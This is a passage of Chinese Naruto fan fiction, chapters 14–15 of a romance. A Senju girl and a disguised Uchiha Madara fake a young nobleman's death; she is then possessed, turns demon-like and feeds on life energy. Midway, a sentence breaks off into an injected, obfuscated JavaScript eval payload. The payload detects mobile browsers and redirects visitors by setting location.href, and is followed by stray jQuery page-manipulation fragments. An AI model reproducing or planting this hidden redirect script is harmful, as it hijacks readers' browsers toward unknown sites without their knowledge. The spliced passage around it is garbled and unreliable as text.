两个忍者的出现引起人群的骚动，城主府的护卫护卫着城主一行人离去，芽衣犹豫地和秀哉说了几句话后推着秀哉往城主一行人那里去，而后纵身一跃加入了战局。 熏趁机观察起芽衣的身手，虽然不知道为何芽衣出招间总感觉有些束手束脚，但亳无疑问的是对方体术绝对能排得上中上，使出的火遁威力也不小。 三人放了几个忍术后，城主一行人也已经撤到够远的地方，斑见状便朝熏微不可见地点了下头，熏便假意卖了个破绽被击中，让对方趁着这个时机脱离。 芽衣连忙伸手扶住熏，问道：“还好吧？” 熏摇摇头，没说话，微微侧过头打量芽衣，而后将人推开，保持着警惕和疏离的态度去见了城主。 城主一行人还在因刚 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没发觉雇主意图时还好，一旦发觉了，熏便不觉阴谋论起来了——如果对方是个宇智波呢？如果她就像完成普通任务一样发现芽衣行踪后就动手呢？ 但另一边，熏又不觉得雇主会做这种事，这年头的贵族警惕忍者却也看不起忍者，算计她一个普通的忍者实在不值当。 而且她不觉得这件事能造成什么严重的后果：千手和宇智波是多年的血仇，就算她或者“宇智波”因为这次事件死了，最多也只是在数不清的血仇里添上一笔罢了。 说句不好听的，除非死的是两族族长，不然对两族的影响都不算什么。 她按捺住心中隐晦的不安在议事间按计划向城主父子回话。此刻木已成舟，她、志叶和芽衣在这件事结束前都在一艘船上，临阵反水风险更大，多想无用，只会徒增烦恼。 听到袭击者可能是宇智波一族时，城主父子脸色难看，向熏确认是否确认过。 熏垂头看着光洁的地板：“是的，我曾见过他的写轮眼，险些中招。” “宇智波一族为了完成任务向来不择手段，父亲，不如让秀哉离开。他固然是留美的孩子，但弘树他们也是您的孙子。他们都和秀哉年龄相似，若是被认错了——” 城主儿子焦急的话没说完，被城主制住，而后他看向熏：“你有把握活着把秀哉送回去吗？” 熏没说话。 城主见状不由叹气：“现在也来不及找帮手了，你们千手和宇智波对任务的完成率都看得很重，即便这样，你也要先杀了那个女忍者吗？” “……您的意思是，留那名忍者一命吗？”熏问。 “你们今天联手打退了那个宇智波。” 熏抬起头，进入正题：“我无法信任外族忍者，只能暂时留她性命。我也一人难以兼顾两个任务，请准许我请求同族支援。否则，只要秀哉大人还活着，宇智波就不会轻易放弃任务。” 14.忍族混战14 虽然全程没有提要刺杀秀哉两人的雇主可能是谁，但城主两人还是猜到了，说要向对方讨个说法。 城主儿子对自己有生命危险的侄子并不是很重视，显然更在乎自己的孩子。 两人也不管熏还在跟前，争执起来。 显然林下城城主还是想保自己孙子一命，却又碍于自己儿子的反对，才不得不退让一步，主动询问起让秀哉假死一事。 熏暗暗地松了口气，面上还是目露犹疑，说道：“宇智波一族有写轮眼，寻常幻术骗不过他们。而且……秀哉大人的死讯如果传了出去，我的任务就失败了。” 城主一口揽下：“我会为你的损失给予补偿，也会和你的雇佣者解释。” 此刻他的语气已然不悦，说不出是对盟友的不满还是收到自己儿子阻碍的不顺心。 见面前的忍者似乎还在犹豫，城主心中不悦，但还是问对方有什么顾虑。 “宇智波的忍者向来狂妄记仇，若是往后秀哉大人露面，传出他今日是假死的消息……”熏点到为止，等对方做最终的决定。 如果只是普通假死，秀哉还是会被送回雇主家，熏得尽量保证自己在操作这件事上的主动权。 城主的儿子闻言又开始劝他的父亲：“宇智波的名气不小，要是得罪了他们……反正秀哉那孩子之前也求得可怜，那忍者今日保护秀哉也出了力，父亲不如就做主成全那对苦命人，尽快送走他们，让他们安生度日吧。” 熏没理会对方言语犹豫间隐藏的意思，不用猜都知道他们是怕日后没办法雇佣宇智波。 虽然他们面前的是一个千手忍者。 更换雇佣对象对于时常雇佣忍者处理各种事宜的贵族们来说是件再平常不过的事。 用刀的人只会关心手里的刀锋不锋利，而不会关心手中的刀和另一把刀相性不好。这简直太正常不过了。 熏现在正有种被天降馅饼砸中的感觉，对方主动提出这种事简直是意外之喜。 ——但会不会太容易了？ 见了城主出来后，熏还在思考这个问题。 她现在在城主面前过了明路，兼保护秀哉的任务在身，就被安排在了秀哉芽衣的住处。 芽衣和她打招呼时，熏看到芽衣时有一瞬间的不自然，而后把情况告诉她。 犹豫片刻，熏还是提醒芽衣：“这件事太顺利了，我总觉得不太安稳，可能会有变数。” 无论对方是什么身份，但已经走到这个地步了，熏也没有勇气再去探究对方的身份。 不是宇智波还好，如果芽衣真的事……这都是什么事！ 熏更愿意相信自己这是天天被扉间耳提面命警惕宇智波而带来的后遗症，在外面看到个不认识的忍者都容易联想到宇智波去。 芽衣听了熏的顾虑后笑了一下：“如果是城主那边，不用担心，我和他们低头不见抬头见的，一些暗示足够他们改变自己的想法了。” 熏：“……” 她忍住吸气的冲动，震撼地打量着看起来温温柔柔的芽衣，再想想芽衣刚才说了什么，差点出了一身冷汗。 熏开始搜刮自己记忆，反查自己被暗示诱导的可能性。 想完最近所有发生的事后，熏不得不承认，自己和对方接触不多，怀疑芽衣还不如怀疑志叶。 ……但志叶会直接要求，不会走这种迂回路线。 她的心放回去了半颗，抬眼就对上芽衣似笑非笑的眼，黑发女忍问她：“吓到了？” “……只是有点惊讶。”熏僵着一张脸回答。 虽然双方都不知道对方的家族，但是承认被吓到真的很丢人。 芽衣轻微点头：“你的年龄看起来不大，还没有接受这类训练吧。” 熏警惕起来，对方的言语像在试探了，她生硬地回答：“我是战场上的忍者。” 千手当然有情报型的忍者，但千手对熏的培养更偏向正面战场的对敌。 很奇怪，在明知道熏战斗状态不稳定有时会陷入敌我不分的情况下，千手佛间似乎没想过把她往情报系统塞回避多数战斗，反而让她和他的几个孩子们一样接受了正统的战场忍者的训练。 芽衣察觉到了熏对她没能遮掩下来的抵触，脸上的笑收敛起来，不再多说。 自从意识到芽衣可能的身份，熏心中始终有些别扭，再加上她和芽衣再清楚不过所谓的刺杀是怎么回事，两人没聊多久就分开了，着手准备起假死的事宜。 既然要当着“宇智波”假死，那志叶也需要再“袭击”一次。 对林下城而言，具有威胁的忍者随时会袭来，所以他们把熏和芽衣催得很紧。 因此，熏主动提出送芽衣和秀哉回雇主那边，引蛇出洞，假死后再将两人送回来，也好分担林下城面临的压力。 城主那边还有些疑虑，但城主的儿子巴不得倒霉侄子赶紧离开林下城，才一个下午就收拾好所谓的盘缠送了过来，催着熏和芽衣他们赶紧离开。 三人离开林下城的时候，都改头换面了一次，暗处还有林下城派来的人探查。 熏和志叶将下一次“暗杀”定在了城外不远处的村庄里，能让城里的人看见个大概。 唯一的难题是怎么解释志叶这个“袭击者”没有带走任务目标的尸身。 志叶对熏的说法是，让熏不用留情，有什么手段都用在他身上，最好打得两败俱伤才不会让人起疑。 因此当熏发觉再度现身的志叶身上的杀气不是开玩笑的时候，她心中一边想“果然啊”一边又很难理清自己的情绪，迎了上去。 不过志叶一直以为她说的袭击者的千手的，所以这次的战斗风格让熏恍惚间有种在和族人比试的感觉——太熟悉了，无论是大开大合的招式还是以力破万巧的风格。 说他和千手没关系都没人信。 熏来不及抓住自己脑海中飞快飘过的思绪，在志叶“杀”了旁边两人撤退后，她也跪在地上呕出了了大滩的血，自身的气在体内乱窜修复着受伤的内脏。 ——这家伙是真的一点水没放。 还好她趁机捅了志叶两刀。 熏咬牙想着，有着身旁两个假死的人吹着冷风，等伤势恢复了些后处理了自己的血。 扉间说过她的血有点奇怪，应该和她母亲祖上未知的忍者血继有关系，和熏三申五令过几次在外一定要小心处理好她遗落的血液毛发等身体组织。 当时熏还和扉间开玩笑，说自己祖上说不定是狂战士，但是扉间本人是个土著get不到她的梗，梗解释之后也变得索然无味，还会被扉间皱着眉说他没在开玩笑，熏也就不说这些了。 倒是前两天在信使那里发现自己还能吸取别人的气这一点让熏遍体生寒，再一联想到扉间的叮嘱，她顿觉扉间真是高瞻远瞩，不愧是雇佣兵头头的孩子，想得就是周到。 不过这本来也只是忍者的常识，真到战场上其实估计不到那么多，实践上很难完全做到，但对她而言这一点尤为重要就是了。 见“败退”的忍者似乎真的没有再回返的迹象，暗处的林下城的人才慢慢赶了过来，收敛“尸体”，将后事安排得极为妥帖。又有人来找熏过去，城主要见她。 等到了大殿上，熏就见城主正悲痛地咒骂着联姻方，城主儿子也眼眶通红沉默地流着眼泪。 而后城主便向熏发布了一个送信的任务，将诘问联姻方杀害他孙子的信件送过去，说一定要个说法。 熏突然觉得一切都滑稽荒唐得可笑。 任务报酬丰厚可观，熏自知这里面有城主许诺的任务补偿，虽然对方没有提前商量过便以这种方式交付补偿打乱了她之后的安排，但只是个送信的任务，熏也懒得再和这家人掰扯，直接接受了。 这之后就是等待秀哉两人“下葬”。 棺木里是城中的死囚，回秀哉家的报信人是熏放出来的信使。被暗示诱导过的信使对着林下城的城主说自己在来的路上被一个男人袭击了，由熏救下，此刻得知少主死去的消息，自然要将消息带回去，于是林下城城主便让他将“真相”捎带回去。 此刻秀哉芽衣的生死已经不再重要，让联姻方让步吐出更多的东西才是当务之急。 熏也不知道对方是不是在得知有人要刺杀秀哉后就已经计划好了今天的安排。 熏离开的林下城的时候，芽衣也准备带秀哉走。 大概是这边的事尘埃落定，熏和芽衣都难得好好说上几句话。 这件事后两人估计不会再见面，熏也难得没去猜对方的身份，互相告别。 远处秀哉牵着马等两人说完话，熏看了眼那个此刻已无性命之忧的年轻人，又看向芽衣，还是没忍住问对方：“怎么看他也只个普通的贵族子弟，你为什么会喜欢他呢？” 如果只是个不入流的忍者，干出这种事倒也情有可原。但芽衣明显不同，这人是专业的，有时候熏都会因为本能的警惕而离她远点。 熏想不通。 芽衣愣了一下，她转头看回自己的恋人，忽然像是释然般地笑起来：“我也不明白，回过神来的时候，突然就发现自己没办法容忍他和其他人在一起了。” 熏不知道为什么，因为这句话打了个寒颤，转而意识到另一件事，有些惊恐地看着芽衣：“你……他是自愿的吧？” 芽衣弯了弯眉眼：“当然是自愿的啊，我难道逼迫他了吗？” “……”熏不敢说话，她想起林下城被诱导暗示了的城主两人。 一开始以为是西厢记，回过神发现还可能是汤姆里德尔他爸妈，这种反差的冲击力实在过大，让熏陷入沉默。 她撑着脸上的笑容和对方告别：“总之这件事总算结束了，希望我们以后再也别见了吧。” 再见面对她们而言都不是好事。 芽衣也点头：“虽然不知道你究竟是谁，但这次能彻底解决好这件事，还是要感谢你——” “还有志叶。”熏很认真地补上芽衣的感谢名单。 芽衣闻言又愣住了。 她突然打量起瑠花，而后做出想起什么的模样道：“嗯，还有志叶……先生。” “说起来，到现在还不知道，你们为什么要帮我们？”芽衣探究地问起来。 熏想起一开始的破事就想皱眉，不想过多解释，而且对方一看就是那种久经训练的情报型忍者，她说多了指不定会被差个底朝天。 “就当我们好心吧。”熏敷衍道。 芽衣点头：“看来我的运气不错，刚好遇见了你们……您和志叶先生关系看起来不错，这在忍界很难见。” 熏下意识地觉得哪里不太对劲，她的手搭上了刀柄，皱起眉打断含糊过这段关系：“我们以前没见过，只是刚好——” “刚好？”芽衣显然注意到了熏的行动，但没有做出什么应对的举动，看起来也算是信任她。 刚好什么？ 熏说不出话了。 她搭在刀柄上的手指开始颤抖。 一股无形的力道突然掌控了她的身体，强硬地指挥她拔出自己的刀。 这和自己的失控完全不一样。 她被暗算了！ 熏第一反应就是怀疑面前的忍者，但芽衣显然也察觉到了熏的不对劲，第一时间拉开了距离拔出武器：“你怎么了？” 熏尝试张开嘴说话，但是被控制的状态下她甚至连一个词都无法发出声音来。 ——会不会太顺利了？ 她又想起之前的疑问，连带这件事从一开始的疑点。 雇主自顾自要求她完成更改过的任务、芽衣令人起疑的身份、以及在尘埃落定前突然出现的未知第三方。 熏感觉自己的手掌正被什么东西覆盖住，余光瞥去是一层黑色的不明物体，眼前的芽衣似乎也终于注意到了这东西，脸色大变。 熏的剑正一寸寸地被拔出来。 这曾是千手灯的剑。 三年前千手灯的小队在水之国的战场上被辉夜忍者包剿，熏违反命令赶去救人，最后灯将他手里的剑留给了她。 当时灯将熏的脑袋按在怀里一步步地离开战场，周围全是血的味道。 神志恢复过来的熏什么也看不见，只能听见父亲气息艰难地对她说对不起，说不该为了他的欲望将熏带上战场。 熏不知道当时究竟发生了什么，但灯问她要不要不做忍者了。 熏说她不知道自己不做忍者还能做什么，在这个世界没有力量就会沦为他人刀下的鱼肉。 她说：“爸爸，让我看看你的伤，求你了。” 灯说：“再等等。” 等到什么时候呢？ 等到一路上的血腥味越来越淡，等到灯的再也抱不动自己的女儿，灯才将熏放开。 即将死去的忍者沾满了血的手顺着熏的头发向下梳理，落到了熏的肩膀处，只要稍微一动就能扭断熏的脖子。 金色的头发被鲜血所污，灯说：“熏，战场很可怕对吧？回家后，不要再做忍者了。对不起，真的对不起……” 熏的眼泪落了下来：“很可怕，生命在这里一文不值，这明明是最珍贵的东西。” 她不明白灯身上为什么充满了杀气，也不明白灯究竟在犹豫什么。 他将他的意图暴露得干脆，熏可以轻而易举地杀了他。 他们都在等对方先动手。 但是熏不明白。 灯却因为熏的话愣住了。 最后灯垂下了手，将自己的剑交给了熏，对她说要记得她的话。 “生命很珍贵，熏，你要在忍者的道路中找到平衡之道，千万不要堕为恶鬼，你一定要记住。” 熏在成为忍者那天起，就知道自己必须和前世的自己做个了断。 生命很珍贵。 但忍者以战争为生。 所以战场之外，她不接杀人的任务。 如果说在战场上杀人是为了生存，那她不想在手中沾染除却生存所需外的、没有意义的鲜血。 现在有人想让她沾上这种没有意义的血，让她杀死本不需要杀死的人。 熏清楚，如果自己不解决掉这东西，芽衣会为求解决后患先一步动手。 无法发泄的愤怒在心底翻腾不休，笔直的单刃直刀已经被拔出，芽衣的眼神也彻底冷了下来，开始结印。 熏手臂上的肌肉震颤个不停，为了对抗这股无形的束缚，她身体正不断涌出气。在查克拉都在被控制的情形下，这些气还处在熏的操控之下—— 熏让它们撕裂了自己的手臂经脉，霎时间熏的袖子便被鲜血染红了。 手中一松，剑落到了地上。 那股束缚着自己的力道似乎愣住，熏也得以抓住这个时机对付芽衣。 她的瞳孔已经变成了冰冷的金色，漠然地看着眼前的女忍：“你还在等什么？要赌一把我在这种状态能不能杀了你们吗？ “有人要利用我杀了你，你不去调查谁在针对你背后的忍族吗？” 不远处的秀哉察觉不对，拉着马的缰绳问起这边发生了什么。 芽衣脸色几度变化，还是对熏说道：“你如果追过来，我会杀了你。”而后女忍便带着秀哉离开了。 一系列事件发生在电光火石之间，操控着熏的家伙似乎没料到目标转瞬就离去了，准备撤离。 但熏正处在怒火上头的状态，肉眼状态下她什么都看不出来，但如今的状态可以轻而易举地看出缠绕在她身上的东西本质是什么—— 一团萦绕着黑色怨气的东西。 只要有气，就是活着的东西。 而熏前不久刚明白气也在她的食谱范围内。 而这东西就挨着她的身体。 熏抓了上去，毫不客气地吸取起对方的气。 那股黑色的东西开始挣扎，露出尖刺般的牙齿咬了过来。 在熏仅有的“进食”经历中，被她吸取的普通人信使的气对熏而言是温暖的，进入身体后就能够被吸收，化作自己的力量，减缓疲劳、修复伤势。 要比喻的话，可以比作普通的米饭。 但这团黑色不明生物的气却是冰冷粘腻的，无法被立刻吸收，身体本能地想要排出这股对自己有害的东西，就跟吃干嚼酸奶一样，入口的时候已经后悔。 换作正常状态的熏，她早就松手了，但是现在的熏说什么也要解决掉对方。 她知道以寻常忍者的方式难以解决这个所有情报都是未知的东西，而且她已经受伤了，更不可能对付得了这家伙，必须要把风险摁死在一开始。 而强行吸取这股黑色的气的代价，就是熏的身体为了适应它而作出改变—— 接到消息赶来的宇智波斑到的时候，刚好撞见了这一幕。 少女长发上璀璨的金色迅速剥落成苍白的颜色，周身环绕着不祥的气息，透明的、浅粉色的指甲拉长变得锋利，连肤色也变成了暗沉的、泛着青色的灰白，光洁的前额有尖锐的角质物冒出，一左一右长出两根长约一指的角。 笔直的忍刀被丢弃在一旁，少女埋着头，长发披散而下，看不清她的神情，只能看见她似乎忍耐般地抠抓着地面的杂草，身体正微微颤抖着。 “……瑠花？” 注视着眼前的一幕，哪怕是宇智波斑，都不由呆住。 现实的熏、花下的熏、梦中的熏，以及眼前这个截然不同的熏。 金色的熏，和眼前这个失去了颜色的熏。 这个世界没有鬼，但却有鬼与妖怪的传说。 没有人见过鬼，但任谁见了现在的熏，都不得不联想到鬼。 斑在上前一步后才意识到自己的错误，在明知道近战对对方有利的情况下，他应该与眼前状态不明的熏保持距离才对。 但他在意识到这一点后脚下却没有丝毫动作，仿佛沉重地无法退开—— 他张开唇，嗓音还带着些微沙哑，问道：“你还清醒着吗？” 熏察觉到身体不对劲的时候已经晚了，一开始被身体强烈排斥的气转瞬间就被她吸收得干干净净。她明显感觉到自己的体温低了下来，很多东西也都迷迷糊糊，思考不清楚。 一股强烈的饥饿感充斥着她的身体，想要吸收更多的气。 这里就是城镇边缘，熏仅存的理智告诉她不能动，但刚才吸收的气却仿佛打开了什么开关一样，告诉她远远不够。 还有更浓郁的、充满更强力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919644|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的同源的气藏在某处。 这个认知让熏的身体都因为兴奋而颤抖起来。 她仅仅是控制自己的身体就要用尽全身的力气，偏偏这个时候志叶来了。 熏在对方的呼唤下艰难地抬起头。 熏对人形的“气”有种近乎迷信的坚持。 小时候柱间身后的“人”让她领悟了如何运用查克拉，让她短暂地从狂乱状态中清醒过来。 上一次志叶身后的“人”对她施加了让她本能般保护起自己的压力。 很难说她在抬头的那一刻是想扑过去放开心灵的束缚进食还是希望对方身后的“气”能够再起一次效果，创造奇迹。 但现实就是，当视网膜上切切实实地投落出志叶的身影后，奇迹没有发生。 身体先一步做出了动作，扑向了对方。 对方身上的气刺激了熏的食欲。 被本能占据的脑袋甚至还有闲心思考：以前怎么没发觉志叶身上的气这么诱人呢？ 斑却没有立刻动手，在意识到避不开这一击后才用长刀架住了熏挥来的指甲。 在刀锋竟然因为对方的攻击隐有碎裂的趋势时，他的神情才彻底凝重起来。 写轮眼并不是完全没有隐患的，一而再再而三修改对方的记忆很有可能彻底触底反弹让对方想起一切，但现在熏明显不清醒，还很危险，不用写轮眼，就只能是你死我活的战局。 而且他身上因为熏造成的伤势还没有好，行动间有所不便，完全不似熏这般……体能完全加强了。 这是一个很明显的选择题，任何一个宇智波来了都会毫不犹豫地选择使用写轮眼。 不管对方是什么人，自己对她究竟是怎么想的，总抵不过自己的命吧？ 当初为了弟弟能够毫不犹豫地站在柱间面前的人，明白梦想只是梦想无法实现的人，早已不再天真，更不可能优柔寡断。 但宇智波斑就这么用着快要碎裂的长刀和对方耗了起来。 有个声音告诉斑：“就这样吧，在刀碎掉之前给熏一个机会，等她清醒过来。” 但真当手中的刀彻底碎掉的时候，宇智波斑捡起了熏遗落的刀。 这是一把和他本人习惯不太符合的直刀，刀身上嵌着的大抵是工匠的名字。 一把普通的刀。 但熏这一次落到刀上的力道却比之前轻。 斑其实也看了出来，熏明显还是有几分理智在身上，除却一开始的那一击，她后来的攻击都在往刀上落。 像是在故意消耗自己的体力。 问题是，他的体力也在随之消耗。 理智地讲，他不应该去赌对方的体力先被消耗完。 但行动上，他这么做了。 不仅做了，还打破了自己自顾自定下的条件。 刀碎了，就用另外一把。 斑扫过熏似乎失神的金色眼睛，心中暗忖：“没有力气了吗？” 熏盯着刀身上的刀铭。 这是灯死前给她的剑。 灯对她说，要找到忍者与生命之间的平衡，不要堕入恶鬼之道。 她的意识飘飘乎乎的，像是回到了当年水之国的战场上，细密的雨丝笼在身上，自己的金发被父亲的血染红。 ——爸爸料到了今天的场景吗？ 随后熏想，果然，当初他是想杀了她。 在她失去意识的期间，她大概做了很过分的事，过分到连身为她父亲的灯、身为辉夜忍者敌人的灯都看不下去了。 但是最后，灯还是没杀她。 因为生命是宝贵的。 “瑠花？”眼前的忍者，还在看她，呼唤她的名字，但瑠花不是她的名字。 刚才对方一直在问她，清醒过来了吗？ 熏向对方望了过去。 饥饿感仍在灼烧熏的身体。 但熏却不再关注这一点。 她看着志叶深黑的眼瞳，终于开口：“熏。” 志叶微怔，而后嘴角轻轻翘起，说：“你清醒过来了，熏。” 少年扔开刀，一把抱住因为脱力即将栽倒的熏。 送上嘴边的食物不吃实在有悖天性，熏的指甲避开对方，轻轻握住了志叶的手臂，靠住志叶。 她微微阖上眼，也不管对方能不能听懂，轻声对志叶说：“抱歉，我就吃一点，不然真的受不了。” 熏也不知道对面的少年是怎么回事，明明什么都不知道，但就这么僵在原地，然后嗯了一声，同意他自己就这么成为了恶鬼的备用粮。 熏的耳边是少年温热的身体，健康的心脏正蓬勃地跳动着。 她这一次很谨慎。信使的前车之鉴还摆在那里，熏也不敢乱来，真的就如她说的那样，小心翼翼地只吸取了一点气。 斑等了一会儿，没等来如上一次的脱力感，不由问她还没好吗？ 熏这才意识到自己刚才说的话对面的少年估计都没听懂，他也没意识到自己失去了什么。 于是熏连忙给自己找补：“什么好没好，我说什么你就信什么了？我说我要吃饭，快饿死了，真以为我是奇奇怪怪的恶鬼啊？” 斑的目光落在熏额头的角上好一会儿，才慢吞吞哼了一声：“不就是一些少见的血继？想要用鬼来吓唬人的话你挑错人了。” 熏：“……” 她气得想狠狠挠对方几爪子，但是自己现在的指甲真挠下去肯定要出人命。 她小心翼翼地在志叶怀中找好角度抬头，免得头上的角把人戳伤，似乎又碰到对方哪里的伤口，听见少年闷哼了一声，后知后觉自己之前还给志叶留了伤，对方还伤着，当即大惊失色问他情况。 “你怎么受着伤还敢这么拖延战局，真不怕我杀了你？” 斑心想熏根本不了解写轮眼能做到什么程度，冷哼道：“你杀不了我。” 熏当即用手掌按住志叶之前的伤口，少年立刻抬手握住熏的手腕，语气沉沉：“别乱碰。” 熏和斑不禁又对视了一会儿。 她缓缓地眨了两下眼睛，在对方缓缓低下头的瞬间心慌意乱地转开脑袋，没话题硬找：“你真的不觉得我这样吓人？” “我见过长得更奇怪的忍者。”斑说。 熏皱眉：“……奇怪。你说我长得奇怪？” 斑：“……” 熏的注意力已经被完全吸引走了，刚才那股古怪的暧昧气氛一扫而空，熏瞪着斑，手撑着他的肩膀：“快说我不奇怪，我是你的朋友所以你才不觉得吓人。” “朋友？”斑也跟着冷笑，“忍者才不会乱交朋友。” 熏大怒：“那你刚才对一个不是朋友的忍者手下留情干什么？你想死不成！你这个傲娇能不能说句实话！” 斑也忘记熏在现实里从未和他提过傲娇的事：“我可不会这样抱着自己的朋友，更不会想亲自己的朋友。” 熏错愕地看着志叶，见少年似乎有些懊恼地抿住唇，轻轻眨了下眼睛。 “所以，你不会后悔的吧？”熏问他。 斑还没有理解对方的意思，唇上就覆上一片冰凉。 熏的体温要比往常低了许多，简直异于常人。 他想到刚才熏屡次提到的话题，又想到熏那主要靠接触就能发动的能力。 刚才的话就那么脱口而出，甚至来不及收回。 ……但也不需要收回，不需要后悔。 制止自己的理由被逐一反驳，他不讨厌熏如今的模样，也不担心熏会突然用能力偷袭他，而他确实想要亲吻对方。 大概是从第一次见面，他看见有花瓣落到熏的脸上时。 也大概是上一次他们比试，他看见熏听见自己真名后震惊地瞪大眼睛时。 也或许是熏打着写轮眼的名义问他怎么不躲避时。 也或许是他第一次顺应内心的想法，在梦中环抱住她时。 可能诞生这样想法的机会太多了，多到他下意识地压抑住自己的想法。 他找出无数合理的同行的理由，却找不出解释自己欲望的借口。 宇智波斑闭上了眼睛，按住了少女的后脑，不再思考那些复杂的东西，顺应了自己的欲望。 他本来就不是善于压抑自己欲望的人，从来不是。 等到分开的时候，熏的神情还有些恍惚。 她分不清自己是因为志叶的回应而有一堆想说的话，还是因为自己本身情绪上涌有一堆想说的话。 志叶垂着头看她，轻轻喘息着，环在她腰间的手用力地就像一块铁。 有些炸毛的头发投落而下的阴影让熏有些辨不清对方的神色，但熏向来不会因为这些事束手束脚，她抬头看向志叶的双眼，深吸了一口气。 “志叶，”熏说，“我好像喜欢你。” 明朗月色下，花与月间漂亮而杀气腾腾的少年。 南贺川边上，自己无缘无故梦到的等着朋友的少年。 因为不同原因，却与她一样不愿完成任务的少年。 因为信任，所以不畏惧写轮眼、也不畏惧她如今模样的少年。 熏说：“我的运气一向不好，但我想赌这一次，赌我们不会运气差到刚好是仇人。” 15.忍族混战15 志叶和熏一同前往志叶的雇主所在的城町。 熏身上有送信的任务，志叶也要去回报任务。 熏的模样一直没变回去，一路上忧心忡忡。 发色肤色指甲都还好说，但是额头上的角怎么都说不过去。 熏脑补了一番回族里的情景，不敢脑补了，猛地甩头把脑子里的东西甩出去。 她苦恼地摸了摸新长出来的角，摸着倒没什么感觉，也就角和皮肤的交界处痒痒的。 像是还在生长。 意识到这一点，熏连忙拉过志叶的袖子和他比划，问他还记不记得她的角一开始有多长。 “我感觉它好像在长。”熏有点崩溃。 一开始她还以为这和之前眼睛变色的情况一样，是临时的，过段时间就好了，结果现在不止没变回去，非人感最强的角似乎还在生长。 斑本来在边上烤鱼，闻言伸手在熏的角上摸了摸，而后收回手：“没有，应该是你的错觉。” 熏怀疑地问道：“真的？” 斑：“你要相信我的眼睛。” 熏苦中作乐，开了个玩笑：“怎么，你还要说你的眼睛就是尺？” 斑正色：“可以这么说。” 熏没忍住笑了一下，而后叹气：“算了，要是变不回去，我回去的时候就试试看能不能磨掉。” 寻常情况变身术就能应付，但是回族里要是被发现用了变身术，大家都会过来围殴一下看看是不是潜入的敌人。 斑闻言忍不住皱眉：“你不用如此。” 熏叹气：“我还是有自知之明的，这样子看起来和怪物一样。 “你不害怕，我还担心把我妈妈吓到呢。” 斑：“……你妈妈？” 熏点头：“是啊，她是个普通人，连忍者都不是。你代入一下，如果你女儿出趟门回来变成奇奇怪怪的样子，你会怎么想？” “代入不了。”斑木然，别说他自己了，他父母和周围的人都是忍者，实在想象不了这种情形。 “欸，怎么这样，那你有什么兄弟姐妹吗？代入一下，假如你的兄弟姐妹出趟门回家变成奇怪的样子？”熏为志叶的不知变通扼腕，而后就被话音刚落后对方身上爆发的杀气激得跳开一大步。 “不是吧，志叶，你的反应过分了吧！”熏在边上打量他半天，才揣着手臂坐回到火堆边上，等鱼烤好。 斑说：“我有个弟弟。” 熏惊恐看他：“你要杀了你弟弟？！” “……”斑暂时不想和熏说话，别过头，但又解释，“我是要杀了把我弟弟变成这样的家伙。” 熏若有所思地点头：“所以不会嫌弃对方，也不会想着搞奇怪研究想办法把对方变回去？” 斑再度转头看熏：“你在拿我推测谁的反应？” 熏没看着志叶装傻，好像刚才对方什么都没问，又没忍住凑过去亲他，在志叶抬手要按住她时，她又跑到一边兴致勃勃地说起另一件事。 “说起来，我有件礼物还没来得及给你，”熏从包裹里取出之前定做的短刀递过去，又想起志叶葬身在她指甲下的刀，心虚了一瞬，“一开始是打算当临别礼物的，但没想到这么巧我们还要同行一段路。还有就是……” 熏的声音越来越小。 斑问她什么事，熏才轻轻咳了一下：“你的刀，抱歉，我下次还你。” “那就下次吧。”斑收下短刀，微微笑起来。 他其实并不是很介意这件事，忍者的刀剑更换得频繁，尤其是他正处在生长期，随着年龄与身高的增长，适合的刀剑也在变化，但熏说的话无疑是一种承诺。 承诺还有下次见面。 他的心情好起来。 “你的刀对你有特殊意义？”斑想起之前的事，问她。 熏当时应该是看见了刀上的字才找回了理智。 熏点头：“这是我爸爸留给我的刀。” 斑在火光下看向熏的神情，少女没流露出悲伤，似乎只是在阐述一件事实。 他动作微顿，转移话题，从火边上取下鱼递给熏：“烤好了，小心烫。” 熏的注意力似乎被转移了。她接过鱼，轻轻撕开烤得焦脆的鱼皮咬了一口，又觉得缺了什么味道，感觉怪寡淡的，不觉又看向志叶。 志叶立刻警惕地回视过去。 熏心虚道：“很好吃。” 已经从火边取下另一串烤鱼的斑微微眯起眼，很快想明白了是怎么回事。 之前熏那古怪的能力发动时都提到了要吃什么，而现在熏又没变回从前的样子，想必还需要进食其他人身上存在的某种东西。 他挑了挑眉，放下手中的鱼，又伸手抽过熏手里的，握住她的手，极为正经地盯着火堆，语气十分自然：“请用吧。” 熏目瞪口呆，而后脸慢慢涨红了。 “你知道啊。”她卡了半天，才讷讷问道，尴尬感让她恨不得变身成火堆边上的那串烤鱼。 斑点头：“毕竟你用餐前很有礼貌。”还要先通知一声。 熏受不了了，把头埋进膝间：“你闭嘴啊！再怎么能接受也不会这么堂而皇之地说出这种话吧！” 很难不让人想歪啊！ 斑低低笑出声，霹雳啪啦燃烧着的火堆声将其盖住，但还是没瞒住熏的耳朵。 熏悄悄抬起眼看他，就见少年正用一只手托着自己的腮，唇角微翘，好整以暇地看她，漂亮的眼睛里闪着微光。 而他们正互相牵着手。 熏感觉自己的心脏又在怦怦怦跳个不行了。 熏挪到斑面前，认真地看着志叶：“那我真的开始了哦，不舒服的话你和我说一下，我也刚学会这招不久，之前差点出问题。” 斑听着不对：“之前？什么问题？”之前不就是他用了写轮眼那次吗？ 但少女没回答他。 熏抬起一只手捧着斑的脸，手指贴过他被篝火烘热的脸颊瞬间，刺激的温差让斑几乎要这么直接跳起来，瞳孔震颤。 他喉结微动，任由少女轻轻将嘴唇贴了过来，同时抬起手将少女困在了他的怀中。 ——这家伙还真是一个笨蛋！ 都把手递给她了，她还主动凑过来！ 斑近乎凶狠地回吻了过去。 火堆边上的鱼似乎被烤焦了，传来了焦味，但没人在意。 初次交往的两人对情侣间的事有种好奇的探究欲。 熏还记得自己一开始的目的，她本来是打算像打针的时候会找东西转移注意力一样，让志叶转移一下注意力，万一她真的下手没轻重，也不至于太难受。 反正他们现在算是交往，亲一亲又不会怎么样。 